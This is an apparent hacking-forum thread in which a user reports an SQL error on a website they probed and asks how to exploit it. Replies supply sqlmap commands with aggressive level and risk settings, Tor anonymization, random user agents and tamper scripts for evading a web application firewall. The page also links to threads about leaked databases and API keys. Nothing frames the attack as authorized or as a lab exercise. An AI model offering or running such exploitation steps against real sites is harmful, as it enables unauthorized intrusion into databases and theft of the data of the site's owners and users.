Help sql injection and sqlmap this case?
by liampv - Thursday August 15, 2024 at 01:41 PM
#1
Hi everybody
I'm trying to learn about sql injection and sqlmap.
I tried a website, and saw an error like this? How should I exploit it?
victim.com/search/12'
Error massage:
Query: SELECT * FROM php_order WHERE id='12''
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''12''' at line 1
I tried like this:
sqlmap -u "victim.com/search/12*" --dbs --dbms=mysql
but no result.
Please help me this case
Reply
#2
Can you show the output from such command, try adding verbose with it.
Ban reason: Legend (Permanent)
Reply
#3
Try this
sqlmap -u "victim.com/search/12'" --level=5 --risk=3 -o --dbs --answer="crack=n" --tor --check-tor --tor-type=socks5 --tor-port=9150 --no-cast --random-agent

And try adding --threads=5 and verbose like Intel mention
Ban reason: Sale of public leaks + attempted scam and manipulation. Shame. | https://raidforums.im/Forum-Ban-Appeals if you feel this is incorrect. (Permanent)
Reply
#4
(08-15-2024, 01:41 PM)liampv Wrote:
Hi everybody
I'm trying to learn about sql injection and sqlmap.
I tried a website, and saw an error like this? How should I exploit it?
victim.com/search/12'
Error massage:
Query: SELECT * FROM php_order WHERE id='12''
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''12''' at line 1
I tried like this:
sqlmap -u "victim.com/search/12*" --dbs --dbms=mysql
but no result.
Please help me this case

If the error you receive is caused by WAF or you encounter this error after finding the solution, add the following parameter: 

 --tamper="between,randomcase,space2comment"

Good luck / By @rr00ttsec  Cool
Reply
#5
This isn't that easy, every sql server have his own tricks and arguments to use. (except low hanging fruit) Without some details i can't help.

the only thing i can say if you found some entry point use --banner to confirm it isn't a false positive
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  Forums and Telegrams channels Databases leak sites j4c1nt0 3,096 268,867 48 minutes ago
Last Post: cuchuoi123
  Find leaked API keys and Tokens (regex) CreateThread 26 14,000 11 hours ago
Last Post: jmp10
  Full Piracy Guide - Find anything and everything fair 290 29,526 09-06-2026, 11:25 PM
Last Post: KakashiHatake2000
  CREATE TELEGRAM BOT WITH PYTHON: LEARN AND EARN MONEY | FULL COURSE CyboDevil 94 13,332 08-27-2026, 12:14 PM
Last Post: psutty
  ⭐[Updated ]Forums and Telegrams channels Databases leak sites⭐ greekis 344 25,908 08-22-2026, 10:22 PM
Last Post: sfdge2424



 Users browsing this thread: 1 Guest(s)